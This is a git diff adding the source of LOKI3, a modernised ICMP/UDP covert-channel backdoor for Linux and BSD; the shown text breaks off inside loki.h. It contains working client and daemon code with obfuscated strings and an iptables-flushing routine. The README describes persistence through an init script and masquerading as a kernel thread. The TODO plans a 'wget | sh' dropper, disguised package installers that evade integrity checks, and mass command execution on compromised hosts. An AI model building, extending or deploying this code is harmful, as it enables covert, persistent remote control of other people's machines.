diff options
| -rw-r--r-- | Makefile | 94 | ||||
| -rw-r--r-- | README.md | 46 | ||||
| -rw-r--r-- | TODO.md | 60 | ||||
| -rw-r--r-- | client_db.c | 279 | ||||
| -rw-r--r-- | client_db.h | 37 | ||||
| -rw-r--r-- | crypt.c | 50 | ||||
| -rw-r--r-- | crypt.h | 7 | ||||
| -rw-r--r-- | cstrobf.c | 27 | ||||
| -rw-r--r-- | cstrobf.h | 34 | ||||
| -rw-r--r-- | loki.c | 362 | ||||
| -rw-r--r-- | loki.h | 361 | ||||
| -rw-r--r-- | lokid.c | 581 | ||||
| -rw-r--r-- | obfuscate.c | 144 | ||||
| -rw-r--r-- | persistence.c | 117 | ||||
| -rw-r--r-- | persistence.h | 25 | ||||
| -rw-r--r-- | prochide.c | 146 | ||||
| -rw-r--r-- | prochide.h | 13 | ||||
| -rw-r--r-- | shm.c | 114 | ||||
| -rw-r--r-- | shm.h | 18 | ||||
| -rw-r--r-- | surplus.c | 201 |
20 files changed, 2716 insertions, 0 deletions
diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..fc66d69 --- /dev/null +++ b/Makefile @@ -0,0 +1,94 @@ +# Makefile for LOKI3 Sun Jul 27 21:29:28 PDT 1997 +# route (c) 1997 Guild Corporation, Worldwide + + +###### +# Choose a cryptography type +# + +CRYPTO_TYPE = WEAK_CRYPTO # XOR +#CRYPTO_TYPE = NO_CRYPTO # Plaintext + +###### +# Choose a child process handler type +# + +SPAWN_TYPE = POPEN + +###### +# It is safe to leave this alone. +# + +NET3 = #-DNET3 +SEND_PAUSE = SEND_PAUSE=100 +#DEBUG = -DDEBUG + +##### +# Extra features +# + +PERSISTENCE = -DPERSISTENCE +FLUSH_IPTABLES = -DFLUSH_IPTABLES + +#----------------------------------------------------------------------------# + + +i_hear_a_voice_from_the_back_of_the_room: + @echo + @echo "LOKI3 Makefile" + @echo "Edit the Makefile and then invoke with one of the following:" + @echo + @echo "linux openbsd freebsd solaris clean" + @echo + @echo "See Phrack Magazine issue 51 article 7 for verbose instructions" + @echo + +linux: + @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all + strip loki lokid + strip -R .comment lokid + +openbsd: + @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all + +freebsd: + @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all + +solaris: + @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \ + SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \ + LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all + +# Solaris: Get rid of -static +CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \ + $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \ + $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3) $(PERSISTENCE) \ + $(FLUSH_IPTABLES) -static + +#CC = gcc +CC = musl-gcc +#CC = /home/daniel/code/musl/i486-linux-musl-cross/bin/i486-linux-musl-gcc +C_OBJS = surplus.o crypt.o cstrobf.o +S_OBJS = client_db.o shm.o surplus.o crypt.o prochide.o persistence.o cstrobf.o + + +.c.o: + $(CC) $(CFLAGS) -c $< -o $@ + +all: loki + +loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o + $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS) + $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS) + +clean: + @( rm -fr *.o loki lokid ) + +dist: clean + @( cd .. ; tar cvf loki3.tar loki3/ ; gzip -9 loki3.tar ) diff --git a/README.md b/README.md new file mode 100644 index 0000000..0ef76b0 --- /dev/null +++ b/README.md @@ -0,0 +1,46 @@ +# LOKI3 + +This code was stolen from Phrack magazine. It is a 20+ year old backdoor +for Linux, BSD, Solaris, ... which works over icmp. + +http://www.phrack.org/issues/49/6.html +http://www.phrack.org/issues/51/6.html + +This code no longer compiled as of ~2016 I made it compile on modern +systems with musl-gcc, so it will "just work". + +## Building + +### Install musl-gcc + +I use musl because the objects reusulting from static linking using +gcc or clang do not work on older kernels. + +Installing is easy on Ubuntu 20.04: +``` +apt install musl-tools +``` + +Cross compilers can be found here: https://musl.cc/ + +### Building +`make` will list the available targets. + +#### Linux +`make linux` + +## Persistence + +If compiled with PERSISTENCE defined, lokid will install a SysV init +script when SIGTERM is recieved. This signal is typically sent when +the system is rebooted or the process is killed with `kill` or +`killall` without specifying which signal to send (ex: kill -9 or kill +-HUP send the SIGKILL and SIGHUP signals, respectively). + +When lokid is ran, it removes this persistence to avoid detection. + +## Process Masquerading + +This process masquerades itself as a kernel thread. See prochide.c for +more details. + @@ -0,0 +1,60 @@ +# TODO + +## Building + +* build script. build loki and lokid binaries for all supported + architectures and operating systems. + +* Build lokid for FreeBSD. + +* Build lokid for Solaris. + * Compiles, but hangs on read(). It does not currently work. + + +## Dropper + +* Dropper one-liner + * copy/pastable one-liner to download/install + * wget -O - http://whatever | sh + + +## Persistence + +* rpm and dpkg installers. + * /sbin/[fsck|mkfs|mount].SOMENAME blends in pretty well + * Do this to avoid tools such as debsums + + +## Daemon + +* Mutex to avoid being ran twice. + +* Protocol swapping does not work. + +* popen() does not handle stderr. error output is being output to the console + + +## Client + +* /get command to get files + +* /put command to send files + +* /server switch context to another server + +* /list list servers + +* /add add server to list + +* /remove remove server to list + +* /save save server list and group to file + * cli flag to load configuration file + +* /group add server to group + +* /mass <group|all> - execute commands on group of hosts + +* tab completion + +* Avoid accidental ^C in loki client. diff --git a/client_db.c b/client_db.c new file mode 100644 index 0000000..0a3143e --- /dev/null +++ b/client_db.c @@ -0,0 +1,279 @@ +/* + * LOKI3 + * + * [ client_db.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "shm.h" +#include "client_db.h" + +extern struct loki rdg; +extern int verbose; +extern int destroy_shm; +extern struct client_list *client; +extern uint16_t c_id; + +/* + * Obfuscated strings + */ +extern estring S_MSG_SIGALRM; +extern estring S_MSG_EXPIRED_CLIENT; +extern estring S_MSG_CLIENT_DB_FULL; +extern estring S_CMD_FLUSH_IPTABLES; +extern estring S_STAT_VERSION; +extern estring S_STAT_INTERFACE; +extern estring S_STAT_TRANSPORT; +extern estring S_STAT_CRYPTO; +extern estring S_STAT_UPTIME; +extern estring S_STAT_CLIENT_ID; +extern estring S_STAT_PACKETS_WRITTEN; +extern estring S_STAT_BYTES_WRITTEN; +extern estring S_STAT_REQUESTS; + +/* + * The server maintains an array of active client information. This + * function simply steps through the structure array and attempts to add + * an entry. + */ +int add_client(uint8_t *key) { + int i = 0, emptyslot = -1; + + locks(); + + for (; i < MAX_CLIENT; i++) { + /* Check for duplicate entries */ + if (IS_GOOD_CLIENT(rdg)) { + emptyslot = i; + break; + } + + /* tag the first empty slot found */ + if ((!(client[i].client_id))) { + emptyslot = i; + } + } + + if (emptyslot == -1) { /* No empty array slots */ + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_CLIENT_DB_FULL); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENT_DB_FULL.size); + } + + ulocks(); + + return NNOK; + } + + /* Initialize array with client info */ + client[emptyslot].touchtime = time((time_t *)NULL); + + if (emptyslot != i) { + client[emptyslot].client_id = c_id; + client[emptyslot].client_ip = rdg.iph.ip_src; + client[emptyslot].packets_sent = 0; + client[emptyslot].bytes_sent = 0; + client[emptyslot].hits = 0; + } + + ulocks(); + + return emptyslot; +} + + +/* + * Look for a client entry in the client database. Either copy the clients + * key into user_key and update timestamp, or clear the array entry, + * depending on the disposition of the call. + */ +int locate_client(int disposition) { + locks(); + for (int i = 0; i < MAX_CLIENT; i++) { + if (IS_GOOD_CLIENT(rdg)) { + if (disposition == FIND) { /* update timestamp */ + client[i].touchtime = time((time_t *)NULL); + } + + /* Remove entry */ + else if (disposition == DESTROY) { + bzero(&client[i], sizeof(client[i])); + } + ulocks(); + return i; + } + } + ulocks(); /* Didn't find the client */ + return NNOK; +} + + +/* + * Fill a string with current stats about a particular client. + */ +int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) { + int n = 0; + time_t now = 0; + struct protoent *proto = 0; + char *dbuf; + + + /* locate_client didn't find an entry */ + if (entry == NNOK) { +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tstat_client nono\n"); +#endif /* DEBUG */ + return NOK; + } + + dbuf = decrypt(S_STAT_VERSION); + n = sprintf((char *)buf, dbuf, VERSION); + destroy(dbuf, S_STAT_VERSION.size); + + dbuf = decrypt(S_STAT_INTERFACE); + n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst)); + destroy(dbuf, S_STAT_INTERFACE.size); + + proto = getprotobynumber(prot); + dbuf = decrypt(S_STAT_TRANSPORT); + n += sprintf((char *)&buf[n], dbuf, proto -> p_name); + destroy(dbuf, S_STAT_TRANSPORT.size); + + dbuf = decrypt(S_STAT_CRYPTO); + n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE); + destroy(dbuf, S_STAT_CRYPTO.size); + + time(&now); + dbuf = decrypt(S_STAT_UPTIME); + n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c); + destroy(dbuf, S_STAT_UPTIME.size); + + locks(); + + dbuf = decrypt(S_STAT_CLIENT_ID); + n += sprintf((char *)&buf[n], dbuf, client[entry].client_id); + destroy(dbuf, S_STAT_CLIENT_ID.size); + + dbuf = decrypt(S_STAT_PACKETS_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent); + destroy(dbuf, S_STAT_PACKETS_WRITTEN.size); + + dbuf = decrypt(S_STAT_BYTES_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent); + destroy(dbuf, S_STAT_BYTES_WRITTEN.size); + + dbuf = decrypt(S_STAT_REQUESTS); + n += sprintf((char *)&buf[n], dbuf, client[entry].hits); + destroy(dbuf, S_STAT_REQUESTS.size); + + ulocks(); + + return n; +} + +/* + * Unsets alarm timer, then calls age_client, then resets signal handler + * and alarm timer. + */ +void client_expiry_check() { + alarm(0); + age_client(); + +#ifdef FLUSH_IPTABLES + /* Flush iptables */ +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tflushing iptables\n"); +#endif /* DEBUG */ + char *dbuf; + dbuf = decrypt(S_CMD_FLUSH_IPTABLES); + system(dbuf); + destroy(dbuf, S_CMD_FLUSH_IPTABLES.size); + /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */ +#endif /* FLUSH_IPTABLES */ + + /* re-establish signal handler */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); +} + + +/* + * This function is called every KEY_TIMER interval to sweep through the + * client list. It zeros any entrys it finds that have not been accessed + * in KEY_TIMER seconds. This gives us a way to free up entries from clients + * which may have crashed or lost their QUIT_C packet in transit. + */ +void age_client() { + time_t timestamp = 0; + + time(×tamp); + locks(); + + for (int i = 0; i < MAX_CLIENT; i++) { + if (client[i].client_id) { + if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) { + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_EXPIRED_CLIENT); + fprintf(stderr, dbuf, client[i].client_id, i); + destroy(dbuf, S_MSG_EXPIRED_CLIENT.size); + } + + bzero(&client[i], sizeof(client[i])); + } + } + } + + ulocks(); +} + + +/* + * Update the statistics for client. + */ +void update_client(int entry, int pcount, uint32_t bcount) { + locks(); + + client[entry].touchtime = time((time_t *)NULL); + client[entry].packets_sent += pcount; + client[entry].bytes_sent += bcount; + client[entry].hits ++; + + ulocks(); +} + + +/* + * Returns the IP address and ID of the targeted entry + */ +uint32_t check_client_ip(int entry, uint16_t *id) { + uint32_t ip = 0; + + locks(); + + if ((*id = (client[entry].client_id))) { + ip = client[entry].client_ip; + } + + ulocks(); + + return ip; +} +/* EOF */ diff --git a/client_db.h b/client_db.h new file mode 100644 index 0000000..936f95e --- /dev/null +++ b/client_db.h @@ -0,0 +1,37 @@ +/* + * LOKI + * + * client_db header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + + +/* + * Client info list. + * MAX_CLIENT of these will be kept in a server-side array + */ +struct client_list { + uint16_t client_id; /* client loki_id */ + uint32_t client_ip; /* client IP address */ + time_t touchtime; /* last time entry was hit */ + uint32_t packets_sent; /* Packets sent to this client */ + uint32_t bytes_sent; /* Bytes sent to this client */ + unsigned int hits; /* Number of queries from client */ +}; + +#define IS_GOOD_CLIENT(ldg)\ +\ +(c_id == client[i].client_id && \ + ldg.iph.ip_src == client[i].client_ip) > \ + (0) ? (1) : (0) \ + +void update_client(int, int, uint32_t); /* Update a client entry */ + /* client info into supplied buffer */ +int stat_client(int, uint8_t *, int, time_t); +int add_client(uint8_t *); /* add a client entry */ +int locate_client(int); /* find a client entry */ +void age_client(void); /* age a client from the list */ +uint16_t update_client_salt(int); /* update and return salt */ +uint32_t check_client_ip(int, uint16_t *); /* return ip and id of target */ + @@ -0,0 +1,50 @@ +/* + * LOKI3 + * + * [ crypt.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "crypt.h" + +#ifdef WEAK_CRYPTO +/* + * Simple XOR obfuscation. + * + * ( Syko was right -- the following didn't work under certain compilation + * environments... Never write code in which the order of evaluation defines + * the result. See K&R page 53, at the bottom... ) + * + * if (!m) while (i < bs) t[i] ^= t[i++ +1]; + * else + * { + * i = bs; + * while (i) t[i - 1] ^= t[i--]; + * } + * + */ +void blur(int m, int bs, uint8_t *t) { + int i = 0; + + if (!m) { /* Encrypt */ + while (i < bs) { + t[i] ^= t[i + 1]; + i++; + } + } else { /* Decrypt */ + i = bs; + while (i) { + t[i - 1] ^= t[i]; + i--; + } + } +} +#endif /* WEAK_CRYPTO */ + +#ifdef NO_CRYPTO +void blur(int m, int bs, uint8_t *t){} +#endif /* NO_CRYPTO */ + +/* EOF */ @@ -0,0 +1,7 @@ +/* + * LOKI + * + * crypt header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ diff --git a/cstrobf.c b/cstrobf.c new file mode 100644 index 0000000..743285d --- /dev/null +++ b/cstrobf.c @@ -0,0 +1,27 @@ +/* + * LOKI3 + * + * [ cstrobf.c ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include "cstrobf.h" + + +char *decrypt(estring encrypted) { + int i; + char buf[CSTROBF_MAX] = {0}; + + for (i = 0; i < encrypted.size; i++) + buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize]; + + return strdup(buf); +} + + +void destroy(char *buf, size_t len) { + for(int i = 0; i < len; i++) + buf[i] = rand() % 256; + free(buf); +} diff --git a/cstrobf.h b/cstrobf.h new file mode 100644 index 0000000..c0628a8 --- /dev/null +++ b/cstrobf.h @@ -0,0 +1,34 @@ +#pragma once +/* + * LOKI3 + * + * [ cstrobf.h ] + * + * 2019 and beyond Elective Surgery [dmfr] + */ + +#include <stdio.h> +#include <sys/types.h> +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> +#include <string.h> +#include <time.h> + + +#define CSTROBF_MAX 1024 +#define KEY_SIZE 8 + + +typedef struct cstrobf { + uint8_t str[CSTROBF_MAX]; + size_t size; + uint8_t key[KEY_SIZE]; + size_t ksize; +} estring; + + +char *decrypt (estring); +void destroy(char *, size_t); + +/* EOF */ @@ -0,0 +1,362 @@ +/* + * LOKI3 + * + * [ loki.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" + +jmp_buf env; +struct loki sdg, rdg; +int verbose = OK, cflags = 0, ripsock = 0, tsock = 0; +uint32_t p_read = 0; /* packets read */ + + +int main(int argc, char *argv[]) { + int n; + static int prot = IPPROTO_ICMP, one = 1, c = 0; + static uint16_t loki_id = 0; + int timer = MIN_TIMEOUT; + uint8_t buf[BUFSIZE] = {0}; + struct protoent *pprot = 0; + struct sockaddr_in sin = {0}; + + /* Ensure we have proper permissions */ + if (getuid() || geteuid()) { + err_exit(1, 1, verbose, L_MSG_NOPRIV); + } + + loki_id = getpid(); /* Allows us to individualize each + * same protocol loki client session + * on a given host. + */ + //bzero((struct sockaddr_in *)&sin, sizeof(sin)); + while ((c = getopt(argc, argv, "v:d:t:p:")) != EOF) { + switch (c) { + case 'v': /* change verbosity */ + verbose = atoi(optarg); + break; + + case 'd': /* destination address of daemon */ + strncpy((char *)buf, optarg, BUFSIZE - 1); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = name_resolve((char *)buf); + if (sin.sin_addr.s_addr == 0x00000000) { + err_exit(1, 1, verbose, "\n[fatal] name lookup failed"); + } + + break; + + case 't': /* change alarm timer */ + if ((timer = atoi(optarg)) < MIN_TIMEOUT) + err_exit(1, 0, 1, "Invalid timeout.\n"); + break; + + case 'p': /* select transport protocol */ + switch (optarg[0]) { + case 'i': /* ICMP_ECHO / ICMP_ECHOREPLY */ + prot = IPPROTO_ICMP; + break; + + case 'u': /* DNS query / reply */ + prot = IPPROTO_UDP; + break; + + default: + err_exit(1, 0, verbose, "Unknown transport.\n"); + } + break; + + default: + err_exit(0, 0, 1, C_MSG_USAGE); + } + } + /* we need a destination address */ + if (!sin.sin_addr.s_addr) + err_exit(0, 0, verbose, C_MSG_USAGE); + + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) + err_exit(1, 1, 1, L_MSG_SOCKET); + + /* Raw socket to build packets */ + if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) + err_exit(1, 1, verbose, L_MSG_SOCKET); + +#ifdef DEBUG + fprintf(stderr, "\nRaw IP socket: "); + fd_status(ripsock, OK); +#endif /* DEBUG */ + +#ifdef IP_HDRINCL + if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) + if (verbose) perror("Cannot set IP_HDRINCL socket option"); +#endif /* IP_HDRINCL */ + /* register packet dumping function + * to be called upon exit + */ + if (atexit(packets_read) == -1) + err_exit(1, 1, verbose, L_MSG_ATEXIT); + + fprintf(stderr, L_MSG_BANNER); + + fprintf(stderr, "\n\n"); + help(); + fprintf(stderr, "\n\n"); + + for (;;) { + bzero((uint8_t *)buf, BUFSIZE); + fprintf(stderr, PROMPT); /* prompt user for input */ + n = read(STDIN_FILENO, buf, BUFSIZE - 1); + if (n != -1) { + buf[strlen((char *)buf)] = 0; + /* Nothing to parse */ + if (buf[0] == '\n') continue; /* Escaped command */ + + if (buf[0] == '/') if ((!c_parse(buf, &timer))) continue; + /* Send request to server */ + loki_xmit(buf, loki_id, prot, sin, L_REQ); + } + /* change transports */ + if (cflags & NEWTRANS) { + close(tsock); + prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP; + if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0) + err_exit(1, 1, verbose, L_MSG_SOCKET); + + pprot = getprotobynumber(prot); + if (verbose) fprintf(stderr, "\nloki: Transport protocol changed to %s.\n", pprot -> p_name); + cflags &= ~NEWTRANS; + continue; + } + if (cflags & TERMINATE) { /* client should exit */ + fprintf(stderr, "\nloki: clean exit\nroute [guild worldwide]\n"); + clean_exit(0); + } + /* Clear TRAP and VALID PACKET flags */ + cflags &= (~TRAP & ~VALIDP); + /* set alarm singal handler */ + if (signal(SIGALRM, catch_timeout) == SIG_ERR) { + err_exit(1, 1, verbose, L_MSG_SIGALRM); + } + /* returns true if we land here as the + * result of a longjmp() -- IOW the + * alarm timer went off + */ + if (setjmp(env)) { + fprintf(stderr, "\nAlarm.\n%s", C_MSG_TIMEOUT); + cflags |= TRAP; + } + while (!(cflags & TRAP)) { /* TRAP will not be set unless the + * alarm timer expires or we get + * an EOT packet + */ + alarm(timer); /* block until alarm or read */ + + if ((c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE)) < 0) + perror("[non fatal] network read error"); + + switch (prot) { /* Is this a valid Loki packet? */ + case IPPROTO_ICMP: + if ((IS_GOOD_ITYPE_C(rdg))) cflags |= VALIDP; + break; + + case IPPROTO_UDP: + if ((IS_GOOD_UTYPE_C(rdg))) cflags |= VALIDP; + break; + + default: + err_exit(1, 0, verbose, L_MSG_WIERDERR); + } + if (cflags & VALIDP) { +#ifdef DEBUG + fprintf(stderr, "\n[DEBUG]\t\tloki: packet read %d bytes, type: ", c); + PACKET_TYPE(rdg); + DUMP_PACKET(rdg, c); +#endif /* DEBUG */ + /* we have a valid packet and can + * turn off the alarm timer + */ + alarm(0); + switch (rdg.payload[0]) { /* determine packet type */ + case L_REPLY : /* standard reply packet */ + bcopy(&rdg.payload[1], buf, BUFSIZE - 1); + blur(DECR, BUFSIZE - 1, buf); +#ifndef DEBUG + fprintf(stderr, "%s", buf); +#endif /* DEBUG */ + p_read++; + break; + + case L_EOT : /* end of transmission packet */ + cflags |= TRAP; + p_read++; + break; + + case L_ERR : /* error msg packet (not encrypted) */ + bcopy(&rdg.payload[1], buf, BUFSIZE - 1); + fprintf(stderr, "%s", buf); + break; + case L_QUIT: /* termination directive packet */ + fprintf(stderr, C_MSG_MUSTQUIT); + clean_exit(0); + + default : + fprintf(stderr, "\nUnknown LOKI packet type"); + break; + } + cflags &= ~VALIDP; /* reset VALID PACKET flag */ + } + } + } + return 0; +} + + +/* + * SIGALRM signal handler. We reset the alarm timer and default signal + * signal handler, then restore our stack frame from the point that + * setjmp() was called. + */ +void catch_timeout(int signo) { + alarm(0); /* reset alarm timer */ + + /* reset SIGALRM, our handler will be again set after we longjmp()*/ + if (signal(SIGALRM, catch_timeout) == SIG_ERR) { + err_exit(1, 1, verbose, L_MSG_SIGALRM); + } + + /* restore environment */ + longjmp(env, 1); +} + + +/* + * Build and transmit Loki packets (client version) + */ + +void loki_xmit(uint8_t *payload, uint16_t loki_id, int prot, struct sockaddr_in sin, int ptype) { + bzero((struct loki *)&sdg, LOKIP_SIZE); + /* Encrypt and load payload, unless + * we are doing key management + */ + if (ptype != L_PK_REQ) { + blur(ENCR, BUFSIZE - 1, payload); + } + bcopy(payload, &sdg.payload[1], BUFSIZE - 1); + + if (prot == IPPROTO_ICMP) { +#ifdef NET3 /* Our workaround. */ + sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY; +#else + sdg.ttype.icmph.icmp_type = ICMP_ECHO; +#endif /* NET3 */ + sdg.ttype.icmph.icmp_code = 0; + sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */ + sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */ + sdg.payload[0] = ptype; + sdg.ttype.icmph.icmp_cksum = + i_check((uint16_t *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE); + } + if (prot == IPPROTO_UDP) { + sdg.ttype.udph.uh_sport = loki_id; + sdg.ttype.udph.uh_dport = NL_PORT; + sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE); + sdg.payload[0] = ptype; + sdg.ttype.udph.uh_sum = + i_check((uint16_t *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE); + } + sdg.iph.ip_v = 0x4; + sdg.iph.ip_hl = 0x5; + sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE); + sdg.iph.ip_ttl = 0x40; + sdg.iph.ip_p = prot; + sdg.iph.ip_dst = sin.sin_addr.s_addr; + + if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, 0, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE)) + if (verbose) + perror("[non fatal] truncated write"); +} + + +/* + * help is here + */ +void help() { + fprintf(stderr, + "%s\t\t- you are here\n" + "%s xx\t- change alarm timeout to xx seconds (minimum of %d)\n" + "%s\t\t- query loki server for client statistics\n" + "%s\t- query loki server for all client statistics\n" + "%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]\n" + "%s\t\t- quit the client\n" + "%s\t- quit this client and kill all other clients (and the server)\n" + "%s dest\t- proxy to another server [ UNIMPLIMENTED ]\n" + "%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n", + HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C); +} + + +/* + * parse escaped commands + */ +int c_parse(uint8_t *buf, int *timer) { + cflags &= ~VALIDC; + /* help */ + if (!strncmp((char *)buf, HELP, sizeof(HELP) - 1) || buf[1] == '?') { + help(); + return NOK; + } + /* change alarm timer */ + else if (!strncmp((char *)buf, TIMER, sizeof(TIMER) - 1)) { + cflags |= VALIDC; + (*timer) = atoi((char *)&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi((char *)&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT; + fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer); + return NOK; + } + /* Quit client, send notice to server */ + else if (!strncmp((char *)buf, QUIT_C, sizeof(QUIT_C) - 1)) + cflags |= (TERMINATE | VALIDC); + /* Quit client, send kill to server */ + else if (!strncmp((char *)buf, QUIT_ALL, sizeof(QUIT_ALL) - 1)) + cflags |= (TERMINATE | VALIDC); + /* Request server-side statistics */ + else if (!strncmp((char *)buf, STAT_C, sizeof(STAT_C) - 1)) + cflags |= VALIDC; + /* Swap transport protocols */ + else if (!strncmp((char *)buf, SWAP_T, sizeof(SWAP_T) - 1)) { + /* When using strong crypto we do not + * want to swap protocols. + */ + cflags |= (NEWTRANS | VALIDC); + } + /* Request server to redirect output + * to another LOKI client + */ + else if (!strncmp((char *)buf, REDIR_C, sizeof(REDIR_C) - 1)) + cflags |= (REDIRECT | VALIDC); + /* Request server to simply proxy + * requests to another LOKI server + */ + else if (!strncmp((char *)buf, PROXY_D, sizeof(PROXY_D) - 1)) + cflags |= (PROXY | VALIDC); + + /* Bad command trap */ + if (!(cflags & VALIDC)) { + fprintf(stderr, "Unrecognized command %s\n",buf); + return NOK; + } + + return OK; +} + + +/* + * Dumps packets read by client... + */ +void packets_read() { + fprintf(stderr, "Packets read: %d\n", p_read); +} + +/* EOF */ @@ -0,0 +1,361 @@ +#pragma once + +/* + * LOKI3 + * + * loki header file + * + * 1996/7 Guild Corporation Productions [daemon9] + */ + +#include <errno.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <signal.h> +#include <pwd.h> +#include <unistd.h> +#include <netinet/in.h> +#include <arpa/inet.h> +#include <netdb.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <sys/stat.h> +#include <sys/wait.h> +#include <fcntl.h> +#include <time.h> +#include <grp.h> +#include <sys/ipc.h> +#include <sys/sem.h> +#include <sys/shm.h> +#include <setjmp.h> +#include <stdint.h> + +#include "cstrobf.h" + +#ifdef LINUX +#include <netinet/ip.h> /* musl doesn't supply linux/icmp.h or linux/ip.h */ + +#define ICMP_ECHO 8 +#define ICMP_ECHOREPLY 0 + +/* BSDish nomenclature */ +#define ip iphdr +#define ip_v version +#define ip_hl ihl +#define ip_len tot_len +#define ip_ttl ttl +#define ip_p protocol +#define ip_dst daddr +#define ip_src saddr +#endif /* LINUX */ + +#ifdef BSD4 +#include <netinet/in_systm.h> +#include <netinet/ip_var.h> +#include <netinet/ip.h> +#include <netinet/tcp.h> +#include <netinet/tcpip.h> +#include <netinet/ip_icmp.h> +#include <netinet/icmp_var.h> +#include <sys/sockio.h> +#include <sys/termios.h> +#include <sys/signal.h> + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef SOLARIS +#include <netinet/in_systm.h> +#include <netinet/in.h> +#include <netinet/ip_var.h> +#include <netinet/ip.h> +#include <netinet/tcp.h> +#include <netinet/tcpip.h> +#include <netinet/ip_icmp.h> +#include <netinet/icmp_var.h> +#include <sys/sockio.h> +#include <sys/termios.h> +#include <sys/signal.h> +#include <strings.h> +#include <unistd.h> + +#undef icmp_id +#undef icmp_seq +#define ip_dst ip_dst.s_addr +#define ip_src ip_src.s_addr +#endif + +#ifdef BROKEN_IP_LEN +#define FIX_LEN(n) (x) /* FreeBSD needs this */ +#else +#define FIX_LEN(n) htons(n) +#endif + + +/* + * Net/3 will not pass ICMP_ECHO packets 